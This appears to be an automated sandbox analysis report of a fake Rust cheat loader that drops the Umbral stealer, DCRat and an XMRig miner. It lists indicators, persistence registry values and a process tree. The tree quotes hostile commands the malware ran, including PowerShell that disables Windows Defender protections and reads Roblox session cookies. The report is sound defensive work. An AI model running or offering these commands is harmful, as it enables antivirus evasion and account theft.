umbral | aebdb5d4472f019df13190b233c6dd89050b7f473c0828c97c16f060e458b573

Analysis

max time kernel
55s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21-07-2024 10:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

LoaderAlkadRustCheat.exe
Size

64.1MB
MD5

73ffcfac6161cd6c7a8b1d001a0aaaf4
SHA1

be16bed3401bd838c4b85a47ae184d4a08a28fe3
SHA256

aebdb5d4472f019df13190b233c6dd89050b7f473c0828c97c16f060e458b573
SHA512

5d5677aeab8bdb9d908a7dafbd7424912cc3f28a2e90d2b39929aec8153a87820f67d13389c6d8cb2e2661735df74d1b7c4f27812e871555717f3922b195e4ca
SSDEEP

786432:8yrqMu/IZ53ufBoglmM/zxhkAw7BwNLmf7CfuBqFiKKL+XNnwlHAsdwelhFVWQuO:NIWtgf7sAEZ7CHSi5s1DCQ6XEeO

Score

10^/10

umbral xmrig execution miner persistence spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000c0000000234a2-6.dat	family_umbral
behavioral1/memory/3092-13-0x000001604E550000-0x000001604E590000-memory.dmp	family_umbral

Modifies WinLogon for persistence 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Photo Viewer\\cmd.exe\", \"C:\\Program Files (x86)\\Microsoft.NET\\System.exe\", \"C:\\Program Files (x86)\\Google\\Temp\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Photo Viewer\\cmd.exe\", \"C:\\Program Files (x86)\\Microsoft.NET\\System.exe\", \"C:\\Program Files (x86)\\Google\\Temp\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\loader.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Photo Viewer\\cmd.exe\", \"C:\\Program Files (x86)\\Microsoft.NET\\System.exe\", \"C:\\Program Files (x86)\\Google\\Temp\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\loader.exe\", \"C:\\Program Files\\Windows Portable Devices\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Photo Viewer\\cmd.exe\", \"C:\\Program Files (x86)\\Microsoft.NET\\System.exe\", \"C:\\Program Files (x86)\\Google\\Temp\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\loader.exe\", \"C:\\Program Files\\Windows Portable Devices\\conhost.exe\", \"C:\\ProviderDriverRef\\providerIntoCrtcommon.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Photo Viewer\\cmd.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Photo Viewer\\cmd.exe\", \"C:\\Program Files (x86)\\Microsoft.NET\\System.exe\""	providerIntoCrtcommon.exe

Process spawned unexpected child process 30 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2700	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4212	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1200	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2584	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4568	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1744	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1480	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1352	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1812	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3244	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1460	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5044	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	728	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2948	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1748	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5020	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4868	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4452	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5776	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5760	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5716	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5740	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5424	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4844	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1068	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5320	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4636	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1840	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5944	1580	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6100	1580	schtasks.exe	96

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral1/memory/4396-340-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-338-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-345-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-343-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-347-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-346-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-344-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-348-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-372-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-373-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4396-374-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3348	powershell.exe
3100	powershell.exe
3116	powershell.exe
2032	powershell.exe
3776	powershell.exe
4528	powershell.exe
4920	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	DCRatBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	PortContainercomponentsavesdll.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	LoaderAlkadRustCheat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	DCRatBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	providerIntoCrtcommon.exe

Executes dropped EXE 14 IoCs

pid	Process
3092	Umbral.exe
4696	loader.exe
3908	DCRatBuild.exe
1744	1.exe
4692	providerIntoCrtcommon.exe
2844	Extreme Injector v3.exe
3160	1.exe
5204	DCRatBuild.exe
5932	PortContainercomponentsavesdll.exe
524	System.exe
228	services64.exe
1356	sihost64.exe
1424	System.exe
2120	sihost64.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\cmd.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Program Files (x86)\\Microsoft.NET\\System.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Program Files (x86)\\Microsoft.NET\\System.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files (x86)\\Google\\Temp\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\loader = "\"C:\\Recovery\\WindowsRE\\loader.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\Windows Portable Devices\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\cmd.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\loader = "\"C:\\Recovery\\WindowsRE\\loader.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\Windows Portable Devices\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\providerIntoCrtcommon = "\"C:\\ProviderDriverRef\\providerIntoCrtcommon.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\providerIntoCrtcommon = "\"C:\\ProviderDriverRef\\providerIntoCrtcommon.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files (x86)\\Google\\Temp\\conhost.exe\""	providerIntoCrtcommon.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	raw.githubusercontent.com
31	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	\??\c:\Windows\System32\CSCC402F9C3427646DCBCB69585C6775FFC.TMP	csc.exe
File created	\??\c:\Windows\System32\b03zlf.exe	csc.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1824 set thread context of 4396	1824	conhost.exe	189

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\24dbde2999530e	PortContainercomponentsavesdll.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\WmiPrvSE.exe	PortContainercomponentsavesdll.exe
File created	C:\Program Files\Windows Portable Devices\conhost.exe	providerIntoCrtcommon.exe
File created	C:\Program Files\Google\27d1bcfc3c54e0	PortContainercomponentsavesdll.exe
File created	C:\Program Files (x86)\Google\Temp\088424020bedd6	providerIntoCrtcommon.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\ebf1f9fa8afd6d	providerIntoCrtcommon.exe
File created	C:\Program Files (x86)\Google\Temp\conhost.exe	providerIntoCrtcommon.exe
File created	C:\Program Files (x86)\Microsoft.NET\System.exe	providerIntoCrtcommon.exe
File created	C:\Program Files (x86)\Microsoft.NET\27d1bcfc3c54e0	providerIntoCrtcommon.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\cmd.exe	providerIntoCrtcommon.exe
File created	C:\Program Files\Google\System.exe	PortContainercomponentsavesdll.exe
File opened for modification	C:\Program Files\Google\System.exe	PortContainercomponentsavesdll.exe
File opened for modification	C:\Program Files\Windows Portable Devices\conhost.exe	providerIntoCrtcommon.exe
File created	C:\Program Files\Windows Portable Devices\088424020bedd6	providerIntoCrtcommon.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5712	wmic.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5176	taskkill.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings	PortContainercomponentsavesdll.exe
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings	DCRatBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings	providerIntoCrtcommon.exe
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings	DCRatBuild.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1332	PING.EXE
6036	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 20 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1812	schtasks.exe
5020	schtasks.exe
4452	schtasks.exe
5044	schtasks.exe
4868	schtasks.exe
4212	schtasks.exe
932	schtasks.exe
1744	schtasks.exe
1480	schtasks.exe
1460	schtasks.exe
2700	schtasks.exe
2584	schtasks.exe
4568	schtasks.exe
3244	schtasks.exe
1748	schtasks.exe
4452	schtasks.exe
1200	schtasks.exe
1352	schtasks.exe
728	schtasks.exe
2948	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3092	Umbral.exe
3092	Umbral.exe
4920	powershell.exe
4920	powershell.exe
4920	powershell.exe
3252	powershell.exe
3252	powershell.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
3252	powershell.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe
4692	providerIntoCrtcommon.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
524	System.exe
1424	System.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3092	Umbral.exe
Token: SeIncreaseQuotaPrivilege	456	wmic.exe
Token: SeSecurityPrivilege	456	wmic.exe
Token: SeTakeOwnershipPrivilege	456	wmic.exe
Token: SeLoadDriverPrivilege	456	wmic.exe
Token: SeSystemProfilePrivilege	456	wmic.exe
Token: SeSystemtimePrivilege	456	wmic.exe
Token: SeProfSingleProcessPrivilege	456	wmic.exe
Token: SeIncBasePriorityPrivilege	456	wmic.exe
Token: SeCreatePagefilePrivilege	456	wmic.exe
Token: SeBackupPrivilege	456	wmic.exe
Token: SeRestorePrivilege	456	wmic.exe
Token: SeShutdownPrivilege	456	wmic.exe
Token: SeDebugPrivilege	456	wmic.exe
Token: SeSystemEnvironmentPrivilege	456	wmic.exe
Token: SeRemoteShutdownPrivilege	456	wmic.exe
Token: SeUndockPrivilege	456	wmic.exe
Token: SeManageVolumePrivilege	456	wmic.exe
Token: 33	456	wmic.exe
Token: 34	456	wmic.exe
Token: 35	456	wmic.exe
Token: 36	456	wmic.exe
Token: SeIncreaseQuotaPrivilege	456	wmic.exe
Token: SeSecurityPrivilege	456	wmic.exe
Token: SeTakeOwnershipPrivilege	456	wmic.exe
Token: SeLoadDriverPrivilege	456	wmic.exe
Token: SeSystemProfilePrivilege	456	wmic.exe
Token: SeSystemtimePrivilege	456	wmic.exe
Token: SeProfSingleProcessPrivilege	456	wmic.exe
Token: SeIncBasePriorityPrivilege	456	wmic.exe
Token: SeCreatePagefilePrivilege	456	wmic.exe
Token: SeBackupPrivilege	456	wmic.exe
Token: SeRestorePrivilege	456	wmic.exe
Token: SeShutdownPrivilege	456	wmic.exe
Token: SeDebugPrivilege	456	wmic.exe
Token: SeSystemEnvironmentPrivilege	456	wmic.exe
Token: SeRemoteShutdownPrivilege	456	wmic.exe
Token: SeUndockPrivilege	456	wmic.exe
Token: SeManageVolumePrivilege	456	wmic.exe
Token: 33	456	wmic.exe
Token: 34	456	wmic.exe
Token: 35	456	wmic.exe
Token: 36	456	wmic.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	4692	providerIntoCrtcommon.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	3276	conhost.exe
Token: SeDebugPrivilege	2844	Extreme Injector v3.exe
Token: 33	2844	Extreme Injector v3.exe
Token: SeIncBasePriorityPrivilege	2844	Extreme Injector v3.exe
Token: SeDebugPrivilege	2844	Extreme Injector v3.exe
Token: 33	2844	Extreme Injector v3.exe
Token: SeIncBasePriorityPrivilege	2844	Extreme Injector v3.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	3576	powershell.exe
Token: SeDebugPrivilege	1824	conhost.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	2032	powershell.exe
Token: SeDebugPrivilege	3116	powershell.exe
Token: 33	2844	Extreme Injector v3.exe
Token: SeIncBasePriorityPrivilege	2844	Extreme Injector v3.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	3348	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 3092	4972	LoaderAlkadRustCheat.exe	89
PID 4972 wrote to memory of 3092	4972	LoaderAlkadRustCheat.exe	89
PID 3092 wrote to memory of 456	3092	Umbral.exe	93
PID 3092 wrote to memory of 456	3092	Umbral.exe	93
PID 4972 wrote to memory of 4696	4972	LoaderAlkadRustCheat.exe	90
PID 4972 wrote to memory of 4696	4972	LoaderAlkadRustCheat.exe	90
PID 4972 wrote to memory of 3908	4972	LoaderAlkadRustCheat.exe	95
PID 4972 wrote to memory of 3908	4972	LoaderAlkadRustCheat.exe	95
PID 4972 wrote to memory of 3908	4972	LoaderAlkadRustCheat.exe	95
PID 3908 wrote to memory of 2624	3908	DCRatBuild.exe	98
PID 3908 wrote to memory of 2624	3908	DCRatBuild.exe	98
PID 3908 wrote to memory of 2624	3908	DCRatBuild.exe	98
PID 4972 wrote to memory of 1744	4972	LoaderAlkadRustCheat.exe	126
PID 4972 wrote to memory of 1744	4972	LoaderAlkadRustCheat.exe	126
PID 3092 wrote to memory of 3204	3092	Umbral.exe	100
PID 3092 wrote to memory of 3204	3092	Umbral.exe	100
PID 3092 wrote to memory of 4920	3092	Umbral.exe	102
PID 3092 wrote to memory of 4920	3092	Umbral.exe	102
PID 2624 wrote to memory of 4028	2624	WScript.exe	191
PID 2624 wrote to memory of 4028	2624	WScript.exe	191
PID 2624 wrote to memory of 4028	2624	WScript.exe	191
PID 4028 wrote to memory of 4692	4028	cmd.exe	192
PID 4028 wrote to memory of 4692	4028	cmd.exe	192
PID 3092 wrote to memory of 3252	3092	Umbral.exe	107
PID 3092 wrote to memory of 3252	3092	Umbral.exe	107
PID 1744 wrote to memory of 3276	1744	1.exe	109
PID 1744 wrote to memory of 3276	1744	1.exe	109
PID 1744 wrote to memory of 3276	1744	1.exe	109
PID 4696 wrote to memory of 2844	4696	loader.exe	110
PID 4696 wrote to memory of 2844	4696	loader.exe	110
PID 4696 wrote to memory of 3160	4696	loader.exe	111
PID 4696 wrote to memory of 3160	4696	loader.exe	111
PID 3276 wrote to memory of 5036	3276	conhost.exe	113
PID 3276 wrote to memory of 5036	3276	conhost.exe	113
PID 4692 wrote to memory of 2536	4692	providerIntoCrtcommon.exe	196
PID 4692 wrote to memory of 2536	4692	providerIntoCrtcommon.exe	196
PID 5036 wrote to memory of 932	5036	cmd.exe	119
PID 5036 wrote to memory of 932	5036	cmd.exe	119
PID 3092 wrote to memory of 1516	3092	Umbral.exe	120
PID 3092 wrote to memory of 1516	3092	Umbral.exe	120
PID 2536 wrote to memory of 1792	2536	csc.exe	122
PID 2536 wrote to memory of 1792	2536	csc.exe	122
PID 3160 wrote to memory of 1824	3160	1.exe	127
PID 3160 wrote to memory of 1824	3160	1.exe	127
PID 3160 wrote to memory of 1824	3160	1.exe	127
PID 3092 wrote to memory of 3576	3092	Umbral.exe	138
PID 3092 wrote to memory of 3576	3092	Umbral.exe	138
PID 4692 wrote to memory of 4528	4692	providerIntoCrtcommon.exe	142
PID 4692 wrote to memory of 4528	4692	providerIntoCrtcommon.exe	142
PID 4692 wrote to memory of 3776	4692	providerIntoCrtcommon.exe	143
PID 4692 wrote to memory of 3776	4692	providerIntoCrtcommon.exe	143
PID 4692 wrote to memory of 2032	4692	providerIntoCrtcommon.exe	144
PID 4692 wrote to memory of 2032	4692	providerIntoCrtcommon.exe	144
PID 4692 wrote to memory of 3116	4692	providerIntoCrtcommon.exe	145
PID 4692 wrote to memory of 3116	4692	providerIntoCrtcommon.exe	145
PID 4692 wrote to memory of 3100	4692	providerIntoCrtcommon.exe	146
PID 4692 wrote to memory of 3100	4692	providerIntoCrtcommon.exe	146
PID 4692 wrote to memory of 3348	4692	providerIntoCrtcommon.exe	147
PID 4692 wrote to memory of 3348	4692	providerIntoCrtcommon.exe	147
PID 4692 wrote to memory of 1420	4692	providerIntoCrtcommon.exe	154
PID 4692 wrote to memory of 1420	4692	providerIntoCrtcommon.exe	154
PID 1420 wrote to memory of 3972	1420	cmd.exe	156
PID 1420 wrote to memory of 3972	1420	cmd.exe	156
PID 1824 wrote to memory of 4860	1824	conhost.exe	157

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3204	attrib.exe

C:\Users\Admin\AppData\Local\Temp\LoaderAlkadRustCheat.exe
"C:\Users\Admin\AppData\Local\Temp\LoaderAlkadRustCheat.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:456
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:3204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3576
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    PID:5352
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:5424
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:5492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
